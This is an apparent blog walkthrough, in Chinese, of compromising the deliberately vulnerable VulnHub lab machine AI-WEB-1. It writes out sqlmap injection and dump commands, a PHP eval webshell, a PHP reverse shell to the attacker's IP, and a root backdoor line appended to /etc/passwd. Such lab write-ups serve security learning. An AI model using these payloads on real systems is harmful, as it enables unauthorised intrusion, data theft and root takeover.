Vulnhub靶机——AI-WEB-1
目录
一、实验环境
1.1 攻击机Kali
1.2 靶机下载
二、站点信息收集
2.1 IP扫描
2.2 端口扫描
2.3 目录扫描
三、漏洞利用
3.1 SQL注入
3.2 文件上传
四、权限提升
4.1 nc反弹连接
4.2 切换用户
一、实验环境
1.1 攻击机Kali
在虚拟机中安装Kali系统并作为攻击机
1.2 靶机下载
(1)下载地址: AI: Web: 1 ~ VulnHub
(2)通过上述简介可以知道,此盒子旨在测试渗透测试人员的技能,目标很简单,从 /root/flag.txt 获取标志。枚举 box,获取低权限 shell,然后将权限提升到 root。
(3)直接在VMware虚拟机中打开该靶机
1.3 工具准备
- Sqlmap
- BurpSuite
- 蚁剑
二、站点信息收集
2.1 IP扫描
(1)使用命令netdiscover查找靶机的IP地址
(2)发现地址为192.168.101.132
2.2 端口扫描
(1)使用nmap工具对目标机进行端口扫描,发现只开启了80端口
(2)访问80端口,页面无可用信息
2.3 目录扫描
(1)使用dirsearch工具对网站目录进行扫描,发现robots.txt文件
(2)直接访问robots.txt文件,发现文件中有两个目录
(3)访问这两个目录,访问失败,均无权限
(4)使用dirsearch工具对目录/m3diNf0进行扫描,发现info.php文件
dirsearch -u http://192.168.101.132/m3diNf0
(5)使用dirsearch工具对目录/se3reTdir777进行扫描
dirsearch -u http://192.168.101.132/se3reTdir777
(6)使用dirb工具对目录/se3reTdir777进行扫描,发现index.php文件
dirb http://192.168.101.132/se3reTdir777
(7)访问info.php文件,可以发现文件的根路径
(8)访问index.php文件,发现是一个信息查询的界面
三、漏洞利用
3.1 SQL注入
(1)输入单引号 ' ,出现报错信息,证明存在SQL注入漏洞
(2)输入1' or 1=1#,页面有回显信息
(3)使用burpsuite抓包,发现注入点是uid=1&Operation=Submit
(4)使用sqlmap工具进行注入测试,发现了两个数据库:aiweb1、information_schema
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" --dbs
(5)查找aiweb1数据库下的表名,发现两个表:user、systemUser
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 --tables
(6)查找systemUser表下的字段名
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 -T systemUser --columns
(7)查找systemUser表中的数据,没有发现有用的信息
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 -T systemUser -C id,password,userName --dump
3.2 文件上传
(1)使用sqlmap工具中的os-shell功能,通过SQL注入漏洞在目标服务器上执行操作系统命令
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/" -data "uid=1&Operation=Submit" --os-shell
分别选择4-php、Y和2-绝对路径,并输入拼接的上述找到的网站根路径与上传路径 /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads
(2)在kali里新建一个muma.php,写入一句话木马
<?php @eval($_POST['cmd']);?> //一句话木马,密码为cmd
(3)将一句话木马上传到网站/se3reTdir777/uploads目录下
sqlmap -u "http://192.168.101.132/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write muma.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/muma.php
(4)在os-shell界面输入ls查看,一句话木马上传成功
(5)文件夹名为uploads,猜测可能存在文件上传漏洞,依次访问上述php文件,发现一个文件上传页面
四、权限提升
使用蚁剑进行连接已经上传的一句话木马
4.1 nc反弹连接
(1)在kali中开启监听
(2)新建一个nc.php文件,编写nc反弹脚本
<?php
$sock=fsockopen("192.168.101.130",9999); //这里是kali的IP
exec("/bin/bash -i <&3 >&3 2>&3");
?>
(3)在找到的文件上传页面上传该文件
(4)在蚁剑终端中输入ls,发现nc.php文件上传成功,执行该文件
php nc.php
(5)kali中监听成功
4.2 切换用户
(1)查找当前用户有写权限的文件
find / -writable -type f 2>/dev/null
(2)方法一:使用perl对密码进行加密
perl -le 'print crypt("awuawu","aa")' //第一个参数是密码,第二个参数是盐值
方法二:使用openssl加密
openssl passwd -1 -salt aa awuawu
(3)将用户xjy写入/etc/passwd中
echo "xjy:aa2bf6PiqD9iI:0:0:root:/root:/bin/bash" >>/etc/passwd
(4) 查看是否成功写入
(5)我们当前获得的webshell是一个非交互式的,使用脚本获得一个交互式的webshell,并切换用户
python -c "import pty;pty.spawn('/bin/bash')"
(6)切换目录,查找flag
声明
1.本博客文章均为博主日常学习原创内容,转载请注明出处。
2.文章内容如有涉及侵犯您的知识产权和版权问题,请及时与我联系。
3.希望以上的学习经验分享能对您有所帮助。
4.本内容仅供学习和研究使用,严禁用于任何非法或不道德的行为,任何违反法律的行为将由行为人自行承担。